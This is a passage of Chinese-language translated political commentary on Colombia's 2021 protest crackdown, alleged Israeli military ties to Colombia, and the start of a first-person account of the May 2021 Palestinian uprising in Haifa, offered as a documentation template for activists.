NA：*2022*年的总统选举对抗议活动的影响有多大？你已经提到，左翼候选人古斯塔沃·佩特罗（*Gustavo Petro*）目前被预测为领跑者，但他被误认为领导了这场示威行动。

现在空气中仍有太多的硝烟，无法有把握地说这场起义将如何影响哥伦比亚的选举投票数字。但我认为更重要的一点是，参议院、市长办公室、市议会等机构中的政治左翼与社会运动本身之间可能的衔接。现在的运动似乎比左翼所能包含的任何东西都要广泛得多，而且比任何一个全国性的大众计划所能引导的东西要分散得多。

曾经被称为准军事组织的东西和我们现在看到的那种国家恐怖之间有一条细线。

2006年担任参议员时，后来成为波哥大市长的佩特罗对乌里韦与他家乡安蒂奥基亚和科尔多瓦地区的准军事部队之间的历史关系发起了一系列谴责和调查。在任何反对乌里韦的行为几乎是死刑的大环境下，佩特罗是一个令人振奋的反对派人物，特别是在揭露他与准军事部队的关系时。而且，作为波哥大市长，佩特罗表明自己愿意面对首都一些更根深蒂固的黑手党利益。哥伦比亚的政治机构曾试图通过法律手段将他赶出哥伦比亚的政治舞台，但到目前为止，他们已经失败。

佩特罗曾是M-19的成员，该组织是哥伦比亚最城市化的游击队运动，也是最民族化的运动。他复员是为了参加导致起草1991年宪法的制宪会议。因此，自90年代初以来，他一直是一名职业政治家。而他作为反叛乱的新自由主义的反对者的记录是毫无疑问的。

佩特罗的方案基本上是一个相当温和的社会民主主义，旨在使国家符合1991年宪法和2016年和平协议的进步方面。在2018年的竞选活动中接受采访时，佩特罗说，“他们一直试图把我描绘成菲德尔·卡斯特罗和乌戈·查韦斯那种狂热的共产主义者追随者。但在任何比哥伦比亚稍微保守一点的国家，人们都会立即认识到，我正试图通过进步的自由主义改革，这些改革本应在二十世纪的哥伦比亚通过”。

就对哥伦比亚政治历史上未完成的进步主义遗产提出要求而言，这可能有一些真正的象征意义。哥伦比亚自由党的进步派曾试图改造这个

国家，但没有成功。因此，从这个意义上说，我认为抗议活动可能会对佩特罗的利益产生影响。长期以来，哥伦比亚一直被视为美国的半殖民地—— 如果佩特罗获胜，这将对南美的选举力量平衡产生真正的影响。

NA：这很有趣，因为正如你指出的，哥伦比亚是一个著名的保守国家。它仍然是华盛顿共识的区域火炬手，在某些方面甚至比贾伊尔·博索纳罗的巴西发挥更大的作用，使拉丁美洲的政治天平向右倾斜。

但是，正如你刚才提到的佩特罗在*M-19*游击队组织和自由党进步派的背景，哥伦比亚有非常丰富的左翼政治历史，可以追溯到*1940*年代的豪尔赫·盖坦及以后。无论人们如何看待*FARC*或*ELN*，这两个组织是西半球最古老的左翼组织之一。你认为随着抗议运动的进行，我们可能会开始看到左翼政治在哥伦比亚社会重新出现吗？

这一点很有道理：很难找到一个国家具备更持续的努力以将 “共产主义” 和 “共产主义者” 从地图上抹去。我这里所说的 “共产主义” 是指在无休止的反叛乱战争中被哥伦比亚国家迫害的广泛的政治光谱。

但以所谓的反共产主义的名义铲除左翼和进步派自由意志主义的努力从未成功过。佩特罗本人象征着这种生存和更新的能力，这种能力是一些运动和组织在面对相当持续的恐怖时十年如一日表现出来的。

在这里，我认为人们确实必须谈论女权运动和女性领导作用的重要性，试图在和平进程中为公民社会留出一席之地。女权主义团体所做的工作为今天所发生的一切奠定了很大的基础，而妇女—— 尤其是年轻妇女—— 作为运动领袖的存在是非常明显的。

早在1977年的大罢工中，女性在城市政治中的作用就已经很明显了。今天，这种循环正在以一种方式全面展开。我们再次看到妇女在各级领导层中发挥着决定性的作用，就像年轻人一样—— 考虑到这两类人之间有相当多的重叠—— 他们似乎是为了长期的发展。

因此，即使我们注意到哥伦比亚人民遭受的国家恐怖的悲剧，我们也应该从他们惊人的勇气、毅力和复原力中获得希望。他们不会被压制，他们也不会平静地进入黑夜。

Part IV

「图」

为什么以色列正在帮助哥伦比亚镇压抗议者

「图」

势不两立

「图」

社交媒体上流传的照片显示，哥伦比亚政府军使用以色列的武器对付抗议者，以色列制造的沙猫装甲车在哥伦比亚城市的街道上巡逻。艾伦·麦克劳德调查了这对儿看似不可能的盟友之间日益紧密的联系。

【注：沙猫装甲车为一种以色列轻型8人装甲车，由福特F-450系列商用卡车底盘改装而来，适用轻度战争区域。以色列以此基础，开发为Guardium MK3无人遥控装甲车。 2006年，中美洲卡车展上发表为沙猫装甲车公开亮相；2007年，推出了沙猫plus升级版加强核生化防护和灭火装置。】

整整一个月以来，全国性的罢工使哥伦比亚陷入瘫痪，伊万·杜克的极右翼政府对抗议活动进行了致命的镇压。由于工会封锁了主要城市，停止了公共交通，给国家带来了经济僵局，政府部队以暴力作为回应。根据政府的数据，在4月28日开始的抗议活动中，至少有44人被杀，还有500人“失踪”，100多人被实弹射杀，至少有28人被警察、臭名昭著的ESMAD防暴队或与国家有关的准军事组织打瞎了眼睛。

这场对异议人士的残酷镇压受到了以色列政府的教唆，而以色列政府本身也在以同样的暴力应对其被囚禁的巴勒斯坦人口在经济、军事和社会方面的广泛反抗。在美国之外，以色列是哥伦比亚军队和准军事部队的主要武器供应商，而哥伦比亚警察和军队一直在用以色列的训练和武器来对付他们自己的国内叛乱。

- 在这里看到报告《“你们站在正义的一边”：在世界上最大的开放式监狱加入起义》。

国家基本上是在向公民宣战，将街道和社区变成了战场，试图推动杜克总统极具争议的新自由主义政策，这些政策将取消公共医疗、养老金私有化、降低最低工资、并对基本生活必需品征收19%的税，批评者认为这些举措是对哥伦比亚大多数工人阶级的全面攻击。尽管总统的支持率下滑到18% —— 这是哥伦比亚国家元首的历史最低点，但他并没有显示出退缩的迹象。

军事联系

「图」

社交媒体上流传的图片显示，政府军使用以色列的武器对付抗议者，而以色列制造的沙猫装甲车则出现在哥伦比亚主要城市的街头。所有军队和警察部门的标准配发步枪都是以色列生产的；陆军使用 IMI Galil，特种部队使用 IWI Tavor，而空军、海军和警察则喜欢 IWI Ace。

哥伦比亚警察在街头使用以色列制造的 Tavor TAR-21 突击步枪的照片发布者已经被推特封锁 (@DonPornHoli0)。

杜克已将军队派往哥伦比亚的许多大城市，以应对全国性的罢工，这一决定受到了人权团体的谴责。这些部队接受了以色列国防军随员的“反恐和作战技术”培训，以分享他们在粉碎国内抵抗方面的专业知识。因此，任何现在看到哥伦比亚状况的巴勒斯坦人都可能对正在发生的事感到一种阴森的熟悉感。

“以色列私人军事承包商在军事训练、开展镇压行动、情报收集、定点暗杀、对委内瑞拉等国的跨境军事干预、和一般的混合战争等方面，与哥伦比亚军队有着大量的合作。作为仅次于美国的第二大军事伙伴，以色列可以说是哥伦比亚经证实的国家恐怖主义记录的主要支持者”，奥利弗·多德从波哥大通过电话告诉记者说，多德是诺丁汉大学的博士研究员，负责哥伦比亚内战问题。

在哥伦比亚的天空中也发现了以色列的无人机，因为政府将其用于监视和军事情报。AMnetpro SAS 是一家由两名以色列商人创办的公司，也向哥伦比亚部队提供面部识别和其他监视和维稳技术。

也许最令人担忧的是，以色列还直接训练极右翼准军事团体，这些团体在过去半个世纪中对哥伦比亚境内最严重的恐怖活动负有责任。

哥伦比亚联合自卫军的指挥官卡洛斯·卡斯塔诺（Carlos Castaño）也许是其中最臭名昭著和最无情的一个，他曾前往以色列学习，并接受了更臭名昭著的以色列雇佣军和前以色列国防军中校亚伊尔·克莱因的培训，他声称自己被邀请去哥伦比亚培训国家警察。

多德解释了利用以色列的技术专长对哥伦比亚政府的吸引力：

以色列国防军退伍军人也大量参与了哥伦比亚的冲

> 突。哥伦比亚国家非常依赖这些以色列雇佣军 —— 被称为 “私人军事承包商” —— 因为

以色列雇佣军在哥伦比亚社会中已变得如此正常，以至于当总统胡安·曼努埃尔·桑托斯出现在以色列雇佣军公司 Global CST 的广告中时直接坦言说：“他们是有很多经验的人。他们一直在帮助我们更好地工作”。

政治联系

「图」

巴勒斯坦与拉丁美洲也有联系，那里的巴勒斯坦社区也做得不错。近来，一些巴勒斯坦人在该地区担任了高级职务，包括1998年至2002年的洪都拉斯总统卡洛斯·罗伯托·弗罗雷斯、2004年至2009年的萨尔瓦多总统安东尼奥·萨卡和2008年至2009年的秘鲁总理耶胡德·西蒙。

随着非洲大陆在2000年代开始向左转移，几乎整个地区都开始承认巴勒斯坦是一个独立国家。多年来，哥伦比亚是南美唯一的否认坚持者，直到2018年才承认。

然而，与此同时，杜克总统也明确表示了他的立场。去年，他在美国最强大的亲以色列游说团体AIPAC上发言，宣布哥伦比亚将在被占领的耶路撒冷开设一个 “创新办公室”，这距离将哥伦比亚大使馆搬到那里、藐视国际法，就只有一步之遥了。他还谴责了真主党在邻国委内瑞拉的存在，将这个黎巴嫩组织和以色列的军事敌人定为恐怖组织 —— 此举可能更多是为了争取朋友，而不是真正的安全担忧。

在这次对加沙的最新轰炸中，这一行动已导致加沙地带约250人死亡，近2000人受伤，数万人流离失所，哥伦比亚政府一直与其盟友并肩作战，谴责向以色列发射火箭弹的行为。它写道：“哥伦比亚对针对以色列的恐怖行为和袭击深表关切，并对这些行为的受害者表示声援”。对于以色列向加沙发射的更为致命的导弹，哥伦比亚并没有予以斥责。

依赖性的循环

「图」

蓬勃发展的政治联盟带来了不断深化的经济关系。2013年，这两个国家签署了一项自由贸易协定。以色列总理本雅明·内塔尼亚胡宣

布："这是以色列国和哥伦比亚共和国关系中的一个历史性时刻"，"这些决定在我们之间建立了一个合作平台，这将使我们的伙伴关系、我们的友谊、我们的兄弟情谊 … 达到新的政治和经济水平"。

在大多数情况下，两个国家之间的贸易包括以色列的武器装备和技术，以换取哥伦比亚的矿产储备。2011年，军事级别的武器占以色列对哥伦比亚出口总额的 49.6%。煤炭约占另一方向出口的89%。其余的主要是农产品（咖啡、水果、糖等）。

哥伦比亚的矿产资源是在军方和相关的准军事人员几十年的推动下，将黑人和原住民从他们宝贵的土地上赶走，为跨国农业综合企业和能源公司开店让路后才得以开发的。以色列的武器装备和技术建议对实现这一目标至关重要。结果是，以色列能够获得一些好处，由于廉价的哥伦比亚煤炭，保持国内灯火通明，这笔交易对他们和大企业有利，但却伤害了所有人民，并促成了世界两边的种族清洗。

"美国力量的关键前哨"

「图」

哥伦比亚和以色列是美国在其各自地区最青睐的盟友。以色列每年收到数十亿美元的军事援助，它经常在巴勒斯坦平民身上测试这些武器，然后在世界各地的军火交易会上以"经过战斗考验"的名义出售。

同样，哥伦比亚主要在名誉扫地的"毒品战争"的幌子下，获得了巨额的免费美国武器（2021年价值超过4.61亿美元）。哥伦比亚计划——拉丁美洲毒品战争的军事化 —— 与布什政府关系最大。然而，该行动的总指挥实际上是乔·拜登。他去年吹嘘说："我就是那个制定哥伦比亚计划的人……把那个政府收拾了很久"。在任职期间，拜登计划将其政策从哥伦比亚扩展到中美洲。

以色列和哥伦比亚最近的镇压都没有引起拜登政府的指责，总统立即宣布"以色列有权自卫"，当时它正在猛烈攻击加沙的平民目标。同样，对于哥伦比亚政府对抗议者的致命镇压，华盛顿也没有任何官方消息。事实上，国防部长劳埃德·奥斯汀5月会见了他的哥伦比亚同行迭戈·莫拉诺，用他自己的话说，他"表示致力于加强我们的国防关系"。

"以色列和哥伦比亚是美国的关键前哨，因此被允许以反恐的名义恐吓平民百姓"，密切报道中东-拉丁美洲关系的记者贝伦·费尔南德斯

说。她补充说："这两个国家牢牢地与美国联系在一起，彼此之间的军事经济关系是建立在不安全、被迫流离失所和右翼暴政长期存在的基础上的"。

记者还采访了 Manuel Rozental，他是一名医生和长期居住在考卡省的活动家，那里最近的镇压最为极端。Rozental 认为以色列和哥伦比亚之间有许多相似之处。

"目前，哥伦比亚有一个起义，人们厌倦了一个只会剥削和诉诸暴力和武力的政权"，他说："同样的情况也发生在加沙"。

他说：

> "在这两种情况下，美国要么什么都不说，要么把双方都说成是两极分化过程的一部分，以掩盖一个非法政权持续压制和压迫人民的事实。如果没有美国及其企业利益的支持，哥伦比亚的这些暴力事件就不会发生。以色列的情况也是如此"。

哥伦比亚在该体系中的作用与以色列明显相似，是美国在该地区的首席副手，攻击委内瑞拉、玻利维亚或任何其他进步的邻国。它也是美国在该地区军事基地的主要地点。Rozental 认为，哥伦比亚和以色列-巴勒斯坦局势之间的相似之处是 "显而易见的"：

"以色列是美国在中东地区利益的先锋，以换取大量资金支持本雅明·内塔尼亚胡作为强人控制下的日益法西斯政权，就像[前]总统乌里韦在哥伦比亚那样。这种模式为美国军事工业创造了巨额资金，使以色列既成为军事超级大国，又成为整个中东和世界战争安全的生产者和出口者"。

两国的抗议者都受到催泪瓦斯的袭击，这些催泪瓦斯来自向两个政权供货的同一家位于美国宾夕法尼亚州的武器制造商。这两个国家还愿意做美国不愿被发现的肮脏工作。例如，在公众压力迫使美国政府暂停军事援助后，以色列成为皮诺切特将军领导的智利法西斯独裁政权的主要武器供应商。在亲美国的阿根廷军政府执政期间（1976–1983年），它还向其提供了估计95%的武器。

同时，美国对数万名拉美警察和军官进行镇压战术培训的审查越来越严格，使美国不再热衷于继续这种做法，特别是位于佐治亚州本宁堡的臭名昭著的美国陆军学校的许多毕业生现在已被认定犯有种族灭绝、战争罪和反人类罪。

波哥大见证和平团结组织哥伦比亚项目主任埃文·金告诉记者说：

“哥伦比亚是南美的以色列，因为他们已经开始在整个地区输出这些战术。美国很喜欢这种做法，将灌输军事力量的工作离岸化。他们不必主动，因为哥伦比亚人现在自己在这样做了。因此，你已经看到哥伦比亚部队训练洪都拉斯、萨尔瓦多或墨西哥的警察。最近，你看到哥伦比亚特种部队去海地训练海地镇压部队，他们现在也在街头枪杀抗议者”。

定居者殖民国家

「图」

“拉丁美洲的以色列” 这句话最初是委内瑞拉前总统乌戈·查韦斯对哥伦比亚的蔑称，强调哥伦比亚只是美国的一个工具。然而，哥伦比亚前总统桑托斯将其作为一种赞美，宣布他的人民是 “荣誉的以色列人”，指出它们的相似之处。

这两个国家确实比许多人所意识到的要相似得多。它们都是高度军事化的政府，对其原住民进行几乎是无休止的战争，同时使用追求所谓的 “和平进程” 的说辞，但似乎从未带来和平。

同样，这两个政府都把他们的对手污蔑为 “恐怖分子”。在哥伦比亚，被攻击的是工会、左翼游击队和土著及社会领袖；在以色列，被攻击的是医生、记者和更普遍的巴勒斯坦人民。因此，基本上任何敢于反抗政权的人都可以被指定为 “恐怖分子”，因此，成为合法的镇压目标。

“以色列政府希望的和平是，他们可以对土地为所欲为，永远不归还。而在这里[哥伦比亚]继续发生的冲突也有类似的做法”，埃文·金说：“政府赞成和平进程，但主要是将其作为向外国投资者开放国家的工具”。

他说：

“这就是我认为哥伦比亚和以色列非常相似的地方；反叛乱不再是应对威胁的战术或战略，而是一种治理方式，是国家存在的理由。国家不再是为了提供社会服务或保障人民的权利，而是为了在任何时候、不惜一切代价抵制内部政敌的侵害”。

- 如果您错过了《从民主到自由》

杜克的导师阿尔瓦罗·乌里韦（Alvaro Uribe）领导的哥伦比亚政府监督了一系列长期的法外谋杀和屠杀，导致多达1万人死亡。被称为“False Positives 丑闻”，政府军谋杀任何他们想谋杀的人，然后声称他们的受害者是所谓的麻醉剂恐怖组织的成员。这使得政府能够消除对它的任何反对意见，并恐吓其他可能的敌人使其保持沉默。

这就是为什么去年内塔尼亚胡总理为杜克鼓掌时说的话特别值得注意，他说：“伊万，你在打击恐怖主义方面的领导力为拉丁美洲其他国家树立了一个榜样”。在目前的抗议活动发起一周后，哥伦比亚国防部长迭戈·莫拉诺表示，该国“面临犯罪组织的恐怖威胁”。

两国政府也都在实施相当于定居者的殖民项目。在哥伦比亚，是明显的白人精英试图清除原住民和非洲裔哥伦比亚农民的土地，为跨国公司让路；而在以色列，则是在已经存在的巴勒斯坦国家的基础上建设一个犹太至上主义国家。西方人几乎不知道哥伦比亚的暴力规模；据联合国估计，目前有740万哥伦比亚人流离失所，这一数字甚至比巴勒斯坦难民的最高估计还要大。

- 如果您错过了《为什么说反犹太复国主义仍然不等于反犹主义》

“中央政府对原住民和非洲裔哥伦比亚人的待遇是作为二等公民。他们并没有真正给予他们权利。这不是一件正式的事，但是，如果你去黑人占多数的城市，如港口城市布埃纳文图拉，差别是很明显的，金说，“人们在那里的生活方式，我想，比起哥伦比亚的其他地方来说，更接近于加沙的条件。没有正式的种族隔离制度，但很明显，整个重点就是让人们离开这片土地，并造成如此极端的经济和人道主义困境，以至于人们自己就会逃离或死在这片土地上，从而减少人口，都不需要武力”。

整个拉丁美洲的以色列

「图」

在整个拉丁美洲，以色列是一个党派问题。虽然整个大陆的左翼运动都在向巴勒斯坦人提供支持，认为反对帝国主义的斗争与巴勒斯坦人的斗争交织在一起，但右翼却把以色列作为他们的事业。

2010年，查韦斯总统表示，他全力支持巴勒斯坦的独立：“从我的灵魂深处，诅咒你，以色列国！恐怖分子和刺客！”，他说：“巴勒斯坦人民万岁”。四年后，在以色列再次袭击加沙之后，玻利维亚总统埃

沃·莫拉莱斯正式宣布以色列为 “恐怖主义国家”。

几乎在莫拉莱斯于2019年在美国支持的政变中被推翻时，新的极右政府就与这个中东国家重新建立了联系，并立即邀请以色列国防军官员前往该国，帮助处理全国范围内反对政变的抗议活动。“我们已经邀请他们来帮助我们。他们已经习惯了与恐怖分子打交道。他们知道如何处理恐怖分子”，新任内政部长阿图罗·穆里略谈到他的客人时说。外交部长伊斯拉尔·卡茨对一个新的 “友好政府” 在玻利维亚执政表示满意。在委内瑞拉，胡安·瓜伊多宣布自己为国家总统后做的第一件事就是透露他正在努力与以色列重新建立正常关系。

在巴西，极右翼总统贾伊尔·博索纳罗似乎对以色列近乎痴迷，以至于在集会上很少看到他身边没有多面以色列国旗。这位66岁的前陆军军官还在耶路撒冷开设了一个贸易办事处，并暗示大使馆很快就会出现。洪都拉斯等其他右翼国家也承诺会这样做。博索纳罗的孩子们还穿着以色列国防军和摩萨德的衬衫拍照。内塔尼亚胡表示感谢，称其政府 “没有比巴西人民和政府更好的朋友了”。

该地区大部分地区对以色列的关注的原因来自于保守的福音派教会的崛起和力量。正如记者和受戒牧师克里斯·赫奇斯最近所解释的那样，许多右翼基督教关于末世的预言包括犹太人返回圣地和摧毁耶路撒冷的阿克萨清真寺。只有到那时，正义的人才能“升入天堂”，而被诅咒的人（非信徒）将被扔进地狱。博索纳罗和其他新右翼领导人从这些团体中获得最忠实的支持。

在全国范围的抗议和广泛的蔑视中，以色列也在帮助支持智利陷入困境的总统塞瓦斯蒂安·皮涅拉，就像40年前对皮诺切特所做的那样。正如费尔南德斯所指出的，以色列向智利出售了武器和防暴装备，并培训他们的军队和警察部队，这些知识在镇压全国性的反抗时无疑是有用的。

一个更好的未来？

「图」

虽然哥伦比亚和巴勒斯坦的暴力事件成为头条新闻，但这两个国家的受难者还是有一些希望。民意调查显示，杜克的政府作为一种政治力量似乎被削弱了，前左翼游击队员古斯塔沃·佩特罗在明年的总统选举中遥遥领先于他的竞争对手。

佩特罗在2018年输掉了选举，因为他受到了生命威胁，广泛的贿选和

操纵行为，以及来自极右翼准军事人员的普遍威胁，承诺杀死任何敢于为他投票的人。然而，杜克对COVID-19大流行病的灾难性处理以及他全力推动的经济休克疗法已经疏远了他的大部分基础。如果佩特罗能够活到明年 —— 对哥伦比亚的进步政治家来说这不是一件容易的事 —— 胜利就可能属于他。

在巴勒斯坦问题上，人们的情绪似乎也在发生变化。以前只有对以色列的无条件支持，现在高级政治家、有线电视新闻主持人和专栏作家都明确谴责以色列的侵略，许多人响应人权组织的号召，将其称为种族隔离的国家。BLM运动向巴勒斯坦提供了支持，许多当选官员公开将针对巴勒斯坦人的暴力与针对美国有色人种的暴力联系起来。

“我今天站起来声援巴勒斯坦人民”，本月早些时候，科里·布什议员（D-MO）在国会的演讲开始了，这种说法在几年前是不可想象的，“他们用来残害我们[弗格森]的设备与我们送给以色列军队和警察恐吓巴勒斯坦人的设备是一样的”，她补充说。密歇根州众议员拉希达·特莱布在国务院外的抗议活动中说：“种族清洗现在仍在继续，他们对巴勒斯坦人民所做的，就是他们继续对我们这里的黑人兄弟姐妹所做的；……这一切是相互关联的”。由于他们有无数的联系，我们也应该把针对哥伦比亚人和巴勒斯坦人的暴力看作是相互关联的。也许他们的解放也将是如此。〇

“En cambio, Nos Convertimos en Millones”

Colombians Don’t Just Want a New Government—They Want an End to Neoliberalism

WHY ISRAEL IS AIDING COLOMBIA’S CRACKDOWN ON PROTESTERS

原文

"你们站在正义的一边"：在世界上最大的开放式监狱加入起义 - iyouport

反抗者-寻求经验长读

给中国朋友的提示：关于如何记录一场起义 -- 从背景到理论到行动时间线的模版

没有温文尔雅的起义。但关于为什么人们只有这一种选择的论述，却往往不那么被关注。大多数围观者只是挥舞着虚伪的道德感进行着非黑即白的论断，与镇压者的舆论造势融为一体。

在这种情况下，行动者如何捍卫起义的精神和宗旨，是一件不那么容易的事。而本文做到了这点，尤其是，它并没有陷入中国观察家们通常难以绕避的所谓暴力非暴力绕口令，而是真正作为一名行动者，就实地局势进行分析；并且正确地指出了问题的关键 —— 真正的和睦相处是联合起来抵抗暴政，而不是谁对谁的顺服。

这是能够有效打破叙事操纵者布设的种族主义和民族主义矩阵的正确方式。当中国的保守派知识分子纷纷复述当权者虚构的 “共存” 论的时候，这篇文章希望梳理的问题尤其重要。

本文是一份来自被占领的巴勒斯坦的匿名材料，记录并讨论了今年5月在海法、耶路撒冷和周边地区发生的抗议事件。制作本文是希望为中国行动者展示一个模版，关于如何记录和分析一场行动 —— 从背景到理论到行动时间线和对要点的抓取。

您不需要是优秀的作家或者记者，不需要具备出色的文字艺术能力，但是您必需能抓住要点，尤其是那些被叙事操纵者利用来诋毁你们的反抗行动的要点。

今年5月，在巴勒斯坦的土地上和国外的难民社区中，涌现了一场民众起义。起义在耶路撒冷爆发，蔓延到 “48 Palestine”（即所谓的以色列）的巴勒斯坦村庄、城镇和街区，并最终蔓延到西岸、加沙、附近国家的难民营和世界各地的以色列领事馆。

几十年来，巴勒斯坦人第一次表明，他们不仅仍然存在，而且团结一致，愿意抵抗，尽管以色列努力分化他们，压制他们的精神。

起义的最初几天是由 48 Palestine 领导的，即1948年被占领领土上的巴勒斯坦人。他们有时也被称为“以色列阿拉伯人”，拥有以色列公民身份。抗议活动在所谓的以色列各地的许多阿拉伯人城市和混居城市举行；本文将特别谈到海法，作者就住在这个城市，见证了整个事件的发展。

文章以第一人称叙述。

这篇文章将分为几个部分。关键是要介绍一些当前局势的背景，以及 48 Palestine 的一些历史和迄今为止对以色列种族隔离和占领的抵抗。关于这个问题已经有足够的材料。您可以回顾我们曾经介绍的11本书，在这里下载《历史真相和今天的反抗斗争》。并且，您还可以阅读伊兰·帕佩（Ilan Pappé）的《巴勒斯坦的种族清洗》一书，这是一份关于1948年大灾难和犹太复国主义国家如何形成的出色报告。

背景介绍

「图」

犹太复国主义占领区的民兵在1948年入侵这片土地，摧毁村庄，屠杀当地居民，并造成大规模的驱逐和流离失所，导致历史上最大的难民危机之一，这是关于了解 48 Palestine 和整个巴勒斯坦的最好开始。

大约70万人离开了这片土地，再也无法返回。他们中的许多人仍然渴望回到自己或自己祖先的故乡。

在离我居住的海法不远的地方，在从哈达尔社区通往市中心的一条路上，对阿拉伯人海法的攻击开始了。犹太复国主义激进分子将炸药桶滚落在路上，轰炸阿拉伯人的居住区。这座城市陡峭的地理环境对他们有利，因为他们可以从山上攻击下面的阿拉伯社区。

直到最近，当我开始真正了解这个城市不为人知的历史时，我才发现了所有的恐怖故事。

在学校进行的犹太复国主义灌输中，你只被灌输了犹太男人与所谓的恐怖作斗争的勇敢的“解放战争”；有时你甚至被告知这片土地完全是空的，巴勒斯坦人根本不存在。

我了解到炼油厂的大屠杀，在袭击帕尔马后犹太复国主义民兵向外面的阿拉伯工人集会投掷炸弹，造成6人死亡，42人受伤后，工人们冲进大楼，杀死了39名犹太工人同伴。

海法一直是一个工人阶级的城市，即使在最艰难的时期，也有强大的工人团结，而这次侵略严重破坏了这种关系。作为报复，帕尔马武装分子入侵了附近的村庄—— 巴拉德谢赫和阿瓦萨，并屠杀了60多人。

我了解到犹太复国主义对阿拉伯社区的轰炸和恐怖袭击，特别是瓦迪萨里卜、瓦迪尼斯纳斯、哈利萨和整个市中心地区。我了解到，当人们聚集在港口准备撤离城市时，在山坡上俯瞰人群的犹太复国主义民兵对该地区进行了轰炸，造成恐慌和混乱，以确保离开的人永远不会再想回来。

大约6.1万名巴勒斯坦人离开了该市。一些人暂时离开，希望在局势平静下来后再回来，但是后来发现有了新的边界，他们永远无法再返回自己的家园了。

尽管经历了种族清洗运动，但仍有4000名巴勒斯坦人能够留在海法，他们集中在瓦迪尼斯纳斯社区，这是海法的一个巴勒斯坦人社区，直到今天，这种犹太化依旧是建立犹太城市的必要条件。

以色列土地和财产法是这个新诞生的国家的第一批法律之一，它使国家能够宣布逃到附近“敌对”国家的难民的土地和房屋为“国家财产”，这些街区中有许多被新来的犹太移民所占据，如海法的瓦迪萨里卜，那里成为摩洛哥犹太人居住的地方。

在这个国家成立的最初几年，当权者就对在大灾难中幸存下来的巴勒斯坦人口实施了戒严法。军事统治使国家能够实施宵禁、没收财产、拆除建筑、驱逐居民、征用土地和限制行动。其目的是尽可能地将土地殖民化，最大限度地扩大犹太人的定居点，限制巴勒斯坦人。

戒严令于1966年结束，一年后，即1967年，以色列占领了西岸、加沙地带、戈兰高地和西奈半岛。西岸和加沙地带，与1948年占领的领土不同，从未正式成为以色列的一部分，他们的占领应该是“暂时的”，直到以色列和巴勒斯坦领导人之间达成未来的协议。占领者在这些领土上建立了军事统治，并建立了许多犹太人定居点，其中一些定居点由以色列最极端的极右翼种族主义者居住。

48 Palestinians 的抵抗历史的特点是每年都会纪念一些事件，这些事

件象征着巴勒斯坦人的集体勇气和坚韧的时刻。除了每年5月15日的大灾难纪念日之外，“土地日” 也是这样的纪念活动。1976年3月30日，加利利和内盖夫的巴勒斯坦人起来反对以色列的土地征用计划，该计划旨在促进加利利的犹太化，并从巴勒斯坦人手中窃取土地。抗议者宣布举行大罢工，在许多城镇和村庄发生了起义。

警察无法处理这些事件，镇压部队进入了。六名抗议者被杀，其中三人是在萨赫宁镇。从那时起，每年都会在巴勒斯坦各地举行游行和示威活动来纪念这一事件。

人民抵抗历史上的另一个重要序列被称为2000年10月的事件。在第二次起义期间，从乌姆法赫姆开始的抗议活动蔓延到全国许多城市，发生了大规模的抗议和与警察部队的激烈战斗。

在瓦迪阿拉、拿撒勒、海法、雅法、加利利、内盖夫以及其他许多阿拉伯人和混居的村庄和城市，抗议者封锁了道路，投掷自制的燃烧弹和石块，并袭击了警察局。

这是巴勒斯坦人表现出团结的许多次之一，尽管有所有以色列化和分裂的企图，巴勒斯坦人依旧作为一个民族一起战斗。

以色列犹太人的暴徒们在犹太人和混居城市进行暴动，攻击巴勒斯坦人和巴勒斯坦企业。在这些事件中，有12名巴勒斯坦人被杀，还有一名以色列犹太人被杀。尽管进行了调查，但没有任何人因杀人而受到惩罚，对涉嫌杀人的警察的所有调查都被关闭了。

2000年10月后，48 Palestine 的许多年轻人转向犯罪，武器开始出现在阿拉伯村庄、城镇和街区。

犯罪活动的问题在 48 Palestine 中是非常痛苦的和破坏性的；它简直是在从内部扼杀这个社会。

2020年，113名巴勒斯坦人在与帮派有关的活动中被杀；犯罪组织实际上已经占领了城镇和村庄。就在几个月前，阿拉伯城镇出现了反对暴力的抗议活动，其中一些人遭到了警察的袭击。大量的武器分布在巴勒斯坦城镇，而国家似乎对此完全满意。

只要犹太人受到威胁，当局就会进行干预，并使之成为所谓的 “恐怖主义” 局势，但是，他们却允许阿拉伯人自相残杀。许多没有前途、无处可去的年轻人转向了犯罪，而犯罪的生活方式已经成为某种亚文化。武器问题将在目前的起义中发挥重要作用。

今年，在雅法，4月18日，一位拉比和一位犹太神学院的管理人员被当地巴勒斯坦人袭击。这所犹太学校是在以色列被称为“妥拉核心”的地方—— 这些是由定居者和右翼活动家组成的团体，通常来自西岸，他们来到巴勒斯坦社区和混居城市，以便建立犹太教堂和犹太学校，建立犹太社区，作为该地区的殖民化和犹太化运动。

值得一提的是，犹太学校建在雅法最后剩下的巴勒斯坦社区之一的阿加米。像巴勒斯坦其他地方一样，雅法的巴勒斯坦人的历史是一个被剥夺和排斥的故事，而在雅法，这与仕绅化和犯罪相伴。媒体将这一事件说成是“对犹太拉比的无谓攻击”，当地的巴勒斯坦人爆发了骚乱，攻击警察并保卫自己的社区。

为了理解目前的事件，人们必须理解耶路撒冷对巴勒斯坦集体意识的重要性。这座城市是一个巨大的抵抗据点，被看作是一个需要不惜一切代价保卫的地方。许多大规模的起义都是在耶路撒冷爆发的，包括第二次起义，它是在当时的国防部长 Ariel Sharon 访问阿克萨清真寺后爆发的，这被视为严重的挑衅。

了解耶路撒冷就是了解犹太复国主义心态和巴勒斯坦抵抗的很大一部分。1948年被占领后，该城市被分为以色列控制下的西部地区和约旦控制下的东部地区。1967年占领后，该城市“重新统一”，巴勒斯坦人获得了永久居留权。在以色列，每年都会庆祝耶路撒冷的“统一”；占领的希伯来语日期是一个全国性的节日，以“旗帜游行”为标志，许多以色列人从市中心出发，右翼参与者在警察的全面保护下，挥舞旗帜，高呼种族主义口号，进入老城的穆斯林区。

如果您错过了《抱歉，反犹太复国主义仍然不等于反犹主义》2021 年 6 月 15 日，以色列民族主义者在耶路撒冷旧城附近举着以色列国旗跳舞。（Yonatan Sindel/Flash90）

耶路撒冷是一个种族隔离和定居者殖民主义的实验室。城东的巴勒斯坦社区完全被忽视了。那些在1948年逃离并被禁止返回原来家园的人所居住的难民营位于贫穷的阿拉伯社区，在犹太人定居点附近，周围有围墙。这些都是密集的、悲催的贫民区；有些地方甚至没有连接到污水处理系统。建筑许可证几乎从来不给阿拉伯人，所以大多数建筑都是“非法的”。

在这一切之中，有一些种族主义的以色列定居者，他们有一个明确的计划，要将东耶路撒冷犹太化，使其“与西方国家一样”。

阿克萨，即圣殿山，是世界上最具爆炸性的地区之一。该清真寺是伊

